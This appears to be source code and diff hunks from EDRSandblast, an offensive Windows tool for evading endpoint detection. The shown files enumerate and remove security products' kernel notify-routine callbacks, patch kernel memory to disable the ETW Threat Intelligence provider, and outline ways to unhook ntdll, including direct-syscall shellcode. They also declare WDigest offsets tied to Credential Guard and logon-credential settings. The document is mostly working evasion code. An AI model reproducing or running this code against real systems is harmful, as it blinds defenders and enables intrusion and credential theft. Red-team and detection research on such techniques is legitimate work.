typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved);
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
typedef enum _MEMORY_INFORMATION_CLASS {
MemoryBasicInformation,
MemoryWorkingSetInformation,
MemoryMappedFilenameInformation,
MemoryRegionInformation,
MemoryWorkingSetExInformation,
MemorySharedCommitInformation,
MemoryImageInformation,
MemoryRegionInformationEx,
MemoryPrivilegedBasicInformation,
MemoryEnclaveImageInformation,
MemoryBasicInformationCapped
} MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define STATUS_SUCCES 0x00000000
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_PARTIAL_COPY 0x8000000D
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A
#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
#define STATUS_OBJECT_NAME_INVALID 0xc0000033
#define STATUS_SHARING_VIOLATION 0xC0000043
#define STATUS_NO_MORE_ENTRIES 0x8000001A
#define STATUS_INVALID_CID 0xC000000B
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
#define STATUS_OBJECT_NAME_COLLISION 0xC0000035
#define STATUS_ALERTED 0x00000101
#include "undoc_64.h"
+3 -4
View File
@@ -95,8 +95,8 @@ typedef struct UNICODE_STRING64
} u;
QWORD dummyalign;
} uOrDummyAlign;
QWORD Buffer;
} UNICODE_STRING64;
WCHAR* Buffer;
} UNICODE_STRING64, * PUNICODE_STRING64;
typedef struct _CLIENT_ID64
{
@@ -104,7 +104,6 @@ typedef struct _CLIENT_ID64
QWORD ThreadId;
} CLIENT_ID64;
//NOTE: the members of this structure are not yet complete
typedef struct _RTL_USER_PROCESS_PARAMETERS64
{
@@ -215,7 +214,7 @@ typedef struct PEB64
QWORD SystemAssemblyStorageMap; //0x0310
QWORD MinimumStackCommit; //0x0318
} PEB64; //struct PEB64
} PEB64, * PPEB64; //struct PEB64
//
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
+41 -32
View File
@@ -1,52 +1,61 @@
#pragma once
#include "PEParser.h"
typedef struct diff_t {
PVOID disk_ptr;
PVOID mem_ptr;
size_t size;
} diff;
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
#if _WIN64
#define PATCH_MAX_SIZE 0x18
#else
#define PATCH_MAX_SIZE 0x10
#endif
typedef struct hook_t {
PVOID disk_function;
PVOID mem_function;
LPCSTR functionName;
diff* list_patches;
} hook;
typedef struct PATCH_DIFF_t {
PVOID disk_ptr;
PVOID mem_ptr;
size_t size;
} PATCH_DIFF;
typedef struct HOOK_t {
PVOID disk_function;
PVOID mem_function;
LPCSTR functionName;
PATCH_DIFF* list_patches;
} HOOK;
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection);
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection);
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
OUT LPOSVERSIONINFOEXW lpVersionInformation);
OUT LPOSVERSIONINFOEXW lpVersionInformation);
enum unhook_method_e {
UNHOOK_NONE,
typedef enum UNHOOK_METHOD_e {
UNHOOK_NONE,
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
UNHOOK_WITH_DIRECT_SYSCALL
};
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
UNHOOK_WITH_DIRECT_SYSCALL
}UNHOOK_METHOD;
hook* searchHooks(const char* csvFileName);
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName);
PVOID hookResolver(PBYTE hookAddr);
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
VOID unhook(hook* hook, DWORD unhook_method);
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget);
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch);
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method);
/*
+9 -3
View File
@@ -13,7 +13,8 @@
enum WdigestOffsetType {
g_fParameter_UseLogonCredential = 0,
g_IsCredGuardEnabled = 1
g_IsCredGuardEnabled = 1,
_SUPPORTED_WDIGEST_OFFSETS_END
};
union WdigestOffsets {
@@ -29,7 +30,12 @@ union WdigestOffsets {
DWORD64 ar[2];
};
union WdigestOffsets wdigestOffsets;
union WdigestOffsets g_wdigestOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb);
LPTSTR GetWdigestPath();
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include <Windows.h>
#include <aclapi.h>
#include <Tchar.h>
#include <stdio.h>
#include <time.h>
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
#endif
#define MAX_UNINSTALL_ATTEMPTS 3
#define OP_SLEEP_TIME 1000
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle);
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus);
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt);
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount);
@@ -0,0 +1,66 @@
/*
--- ETW Threat Intelligence operations.
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
*/
#include <Windows.h>
#include <Tchar.h>
#include "../EDRSandBlast.h"
#include "ETWThreatIntel.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
if (g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
_putts_or_not(TEXT("[!] [ETWTI]\tETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel."));
return 0x0;
}
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadKernelMemoryDWORD64(g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle);
if (verbose) {
_tprintf_or_not(TEXT("[+] [ETWTI]\tFound ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
}
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(etwThreatInt_ETW_REG_ENTRYAddress + g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
return etwThreatInt_ETW_GUID_ENTRYAddress + g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
}
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return;
}
_tprintf_or_not(TEXT("[+] [ETWTI]\t%s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
enable ? TEXT("(Re)enabling") : TEXT("Disabling"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
WriteMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
_tprintf_or_not(TEXT("[+] [ETWTI]\tThe ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
}
void DisableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, FALSE);
}
void EnableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, TRUE);
}
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return FALSE;
}
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress);
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
}
@@ -0,0 +1,140 @@
/*
--- Kernel callbacks operations.
--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
*/
#include <Windows.h>
#include "../EDRSandblast.h"
#include "FileUtils.h"
#include "FileVersion.h"
#include "IsEDRChecks.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "NtoskrnlOffsets.h"
#include "PEParser.h"
#include "PdbSymbols.h"
#include "KernelCallbacks.h"
const TCHAR* notifyRoutineTypeStrs[3] = { TEXT("process creation"), TEXT("thread creation"), TEXT("image loading") };
const TCHAR* notifyRoutineTypeNames[3] = { TEXT("ProcessCreate"), TEXT("ThreadCreate"), TEXT("LoadImage") };
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
SIZE_T CurrentEDRCallbacksCount = 0;
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
if (callback_struct != 0) {
DWORD64 callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
DWORD64 cbFunction = ReadMemoryDWORD64(callback);
DWORD64 driverOffset;
TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
struct KRNL_CALLBACK newFoundDriver = { 0 };
newFoundDriver.type = NOTIFY_ROUTINE_CB;
newFoundDriver.driver_name = driver;
newFoundDriver.addresses.notify_routine.callback_struct_addr = callback_addr;
newFoundDriver.addresses.notify_routine.callback_struct = callback_struct;
newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
newFoundDriver.callback_func = cbFunction;
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver);
if (verbose) {
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
}
else {
_putts_or_not(TEXT(""));
}
newFoundDriver.removed = FALSE;
edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver;
edrCallbacks->index++;
CurrentEDRCallbacksCount++;
}
}
}
if (CurrentEDRCallbacksCount == 0) {
_putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!"));
}
else {
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
}
return CurrentEDRCallbacksCount > 0;
}
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
for (DWORD i = 0; i < edrCallbacks->index; ++i) {
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
if (cb->type == NOTIFY_ROUTINE_CB &&
cb->addresses.notify_routine.type == notifyRoutineType &&
cb->removed == !remove) {
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
action,
cb->driver_name,
cb->addresses.notify_routine.callback_struct_addr,
cb->addresses.notify_routine.callback_struct,
cb->callback_func);
DWORD64 value_to_write = remove ? 0 : cb->addresses.notify_routine.callback_struct;
WriteMemoryDWORD64(cb->addresses.notify_routine.callback_struct_addr, value_to_write);
cb->removed = !cb->removed;
}
}
}
void RemoveOrRestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, remove);
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, remove);
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, remove);
}
/*
------ Generic callbacks manipulation.
*/
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt) {
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
DWORD64 Psp_X_NotifyRoutineOffset = g_ntoskrnlOffsets.ar[nrt];
DWORD64 Psp_X_NotifyRoutineAddress = Ntoskrnlbaseaddress + Psp_X_NotifyRoutineOffset;
return Psp_X_NotifyRoutineAddress;
}
/*
------ All EDR Kernel callbacks enumeration / removal.
*/
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
BOOL found = FALSE;
found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, verbose);
found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, verbose);
found |= EnumEDRSpecificNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, verbose);
return found;
}
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, TRUE);
}
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
}
+108
View File
@@ -0,0 +1,108 @@
#include <Windows.h>
#include <Psapi.h>
#include <Tchar.h>
#include "../EDRSandblast.h"
DWORD64 g_NtoskrnlBaseAddress;
DWORD64 FindNtoskrnlBaseAddress(void) {
if (g_NtoskrnlBaseAddress == 0) {
DWORD cbNeeded = 0;
LPVOID drivers[1024] = { 0 };
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
g_NtoskrnlBaseAddress = (DWORD64)drivers[0];
}
else {
return 0;
}
}
return g_NtoskrnlBaseAddress;
}
/*
* Returns the name of the driver where "address" seems to be located
* Optionnaly, return in "offset" the distance between "address" and the driver base address.
*/
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset) {
LPVOID drivers[1024] = { 0 };
DWORD cbNeeded;
int cDrivers = 0;
int i = 0;
TCHAR szDriver[1024] = { 0 };
DWORD64 minDiff = MAXDWORD64;
DWORD64 diff;
if (offset) {
*offset = 0;
}
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
cDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < cDrivers; i++) {
if ((DWORD64)drivers[i] <= address) {
diff = address - (DWORD64)drivers[i];
if (diff < minDiff) {
minDiff = diff;
}
}
}
}
else {
_tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
if (offset) {
*offset = minDiff;
}
TCHAR* const szDriver_cpy = _tcsdup(szDriver);
if (!szDriver_cpy) {
_putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver name"));
return NULL;
}
return szDriver_cpy;
}
else {
_tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
}
/*
* Return the driver path given an address in kernel memory (the driver base or an address inside)
* TODO : might return paths that begins with "\systemroot\" for the moment, need fixing (cf. Firewalling.c)
*/
TCHAR* FindDriverPath(DWORD64 address) {
DWORD64 offset;
TCHAR* name = FindDriverName(address, &offset);
free(name);
name = NULL;
DWORD64 driverBaseAddress = address - offset;
TCHAR szDriver[MAX_PATH] = { 0 };
GetDeviceDriverFileName((PVOID)driverBaseAddress, szDriver, _countof(szDriver));
TCHAR* const szDriver_cpy = _tcsdup(szDriver);
if (!szDriver_cpy) {
_putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver path"));
return NULL;
}
return szDriver_cpy;
}
DWORD64 GetKernelFunctionAddress(LPCSTR function) {
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
DWORD64 address = 0;
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
if (ntoskrnl) {
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
address = ntoskrnlBaseAddress + offset;
FreeLibrary(ntoskrnl);
}
// _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
}
@@ -0,0 +1,467 @@
#include <Tchar.h>
#include <Windows.h>
#include "../EDRSandblast.h"
#include "IsEDRChecks.h"
#include "PdbSymbols.h"
#include "NtoskrnlOffsets.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "FileVersion.h"
#include "KernelCallbacks.h"
#include "ObjectCallbacks.h"
typedef enum OB_OPERATION_e {
OB_OPERATION_HANDLE_CREATE = 1,
OB_OPERATION_HANDLE_DUPLICATE = 2,
OB_FLT_REGISTRATION_VERSION = 0x100
} OB_OPERATION;
typedef struct UNICODE_STRING_t {
USHORT Length;
USHORT MaximumLength;
PWCH Buffer;
} UNICODE_STRING;
#define GET_OFFSET(STRUCTNAME, OFFSETNAME) Offset_ ## STRUCTNAME ## _ ## OFFSETNAME = GetFieldOffset(sym_ctx, #STRUCTNAME, L###OFFSETNAME)
#define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolAddress(sym_ctx, #SYMBOL)
typedef struct OB_CALLBACK_t OB_CALLBACK;
/*
* Internal / undocumented version of OB_OPERATION_REGISTRATION
*/
typedef struct OB_CALLBACK_ENTRY_t {
LIST_ENTRY CallbackList;
OB_OPERATION Operations;
BOOL Enabled;
OB_CALLBACK* Entry;
PVOID ObjectType; // POBJECT_TYPE
PVOID PreOperation; // POB_PRE_OPERATION_CALLBACK
PVOID PostOperation; // POB_POST_OPERATION_CALLBACK
KSPIN_LOCK Lock;
}OB_CALLBACK_ENTRY;
/*
* A callback entry is made of some fields followed by concatenation of callback entry items, and the buffer of the associated Altitude string
* Internal / undocumented (and compact) version of OB_CALLBACK_REGISTRATION
*/
typedef struct OB_CALLBACK_t {
USHORT Version;
USHORT OperationRegistrationCount;
PVOID RegistrationContext;
UNICODE_STRING AltitudeString;
struct OB_CALLBACK_ENTRY_t EntryItems[1]; // has OperationRegistrationCount items
WCHAR AltitudeBuffer[1]; // if AltitudeString.MaximumLength bytes long
} OB_CALLBACK;
//TODO : find a way to reliably find the offsets
DWORD64 Offset_CALLBACK_ENTRY_ITEM_Operations = offsetof(OB_CALLBACK_ENTRY, Operations); //BOOL
DWORD64 Offset_CALLBACK_ENTRY_ITEM_Enabled = offsetof(OB_CALLBACK_ENTRY, Enabled); //DWORD
DWORD64 Offset_CALLBACK_ENTRY_ITEM_ObjectType = offsetof(OB_CALLBACK_ENTRY, ObjectType); //POBJECT_TYPE
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PreOperation = offsetof(OB_CALLBACK_ENTRY, PreOperation); //POB_PRE_OPERATION_CALLBACK
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PostOperation = offsetof(OB_CALLBACK_ENTRY, PostOperation); //POB_POST_OPERATION_CALLBACK
//TODO : parse the bitfield in the PDB symbols to ensure "SupportObjectCallbacks" is bit 6
WORD SupportObjectCallbacks_bit = 0x40;
struct ObjTypeSubjectToCallback {
TCHAR* name;
DWORD64 offset;
DWORD64 callbackListAddress;
DWORD64 callbackListFlinkBackup;
DWORD64 callbackListBlinkBackup;
SIZE_T nbCallbacks;
} ObjectTypesSubjectToCallback[2] = {
{.name = TEXT("Process"), .offset = 0},
{.name = TEXT("Thread"), .offset = 0},
};
/*
* Get symbols from Internet that are not in the NtoskrnlOffsets structure (for experimental functions only)
*/
void GetAdditionnalObjectCallbackOffsets() {
if (Offset__OBJECT_TYPE_Name) {
//Symbols and offsets already loaded
return;
}
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
if (sym_ctx == NULL) {
_tprintf_or_not(TEXT("Symbols not downloaded, aborting..."));
exit(1);
}
GET_OFFSET(_OBJECT_TYPE, Name);
GET_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
GET_OFFSET(_OBJECT_TYPE, TypeInfo);
GET_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
GET_SYMBOL(ObpObjectTypes);
GET_SYMBOL(ObpTypeObjectType);
UnloadSymbols(sym_ctx, FALSE);
}
/*
* ------- Callback Entry Undocumented structure strategy --------
* The following functions use the fact that the CallbackList of an _OBJECT_TYPE contains a list of _CALLBACK_ENTRY_ITEM elements, _CALLBACK_ENTRY_ITEM being the unofficial name
* of an undocumented structure.
* The struct has been reversed engineered in various ntoskrnl.exe version and seems constant from Windows 10 version 10240 to 22000 (oldest to most recent versions)
*/
/*
* Experimental : enumerates all object types on Windows, and checks if some callbacks are defined, even if not officially supported
*/
void EnumAllObjectsCallbacks() {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
GetAdditionnalObjectCallbackOffsets();
//get object types count
DWORD64 ObjectTypeType = ReadKernelMemoryDWORD64(Sym_ObpTypeObjectType);
DWORD ObjectTypesCount = ReadMemoryDWORD(ObjectTypeType + Offset__OBJECT_TYPE_TotalNumberOfObjects);
for (DWORD i = 0; i < ObjectTypesCount; i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(Sym_ObpObjectTypes + i * sizeof(DWORD64));
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
WORD ObjectType_Name_Length = ReadMemoryWORD(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Length));
DWORD64 ObjectType_Name_Buffer = ReadMemoryDWORD64(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Buffer));
WCHAR typeName[256] = { 0 };
ReadMemory(ObjectType_Name_Buffer, typeName, ObjectType_Name_Length);
wprintf_or_not(L"Object type : %s\n", typeName);
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
if (!Enabled) {
continue;
}
OB_OPERATION Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
_tprintf_or_not(TEXT("Callback for handle %s%s%s\n"),
Operations & 1 ? TEXT("creations") : TEXT(""),
Operations == 3 ? TEXT(" & ") : TEXT(""),
Operations & 2 ? TEXT("duplications") : TEXT(""));
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation);
DWORD64 driverOffsetPreOperation = 0;
DWORD64 driverOffsetPostOperation = 0;
TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffsetPreOperation);
TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffsetPostOperation);
_tprintf_or_not(TEXT("\tPreoperation at %llx [%s + %llx])\n"), PreOperation, driverNamePreOperation, driverOffsetPreOperation);
_tprintf_or_not(TEXT("\tPostoperation at %llx [%s + %llx]\n"), PostOperation, driverNamePostOperation, driverOffsetPostOperation);
}
_putts_or_not(TEXT(""));
}
}
/*
* Enumerate all callbacks set on Process & Thread handle manipulation
* WARNING : depends on undocumented structures, but is able to differentiate EDR-related callbacks from potentially legitimate ones
*/
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return FALSE;
}
BOOL found = FALSE;
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\tEnumerating %s object callbacks : \n"), ObjectTypesSubjectToCallback[i].name);
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
if (FoundObjectCallbacks->index >= 256) {
_putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting..."));
exit(1);
}
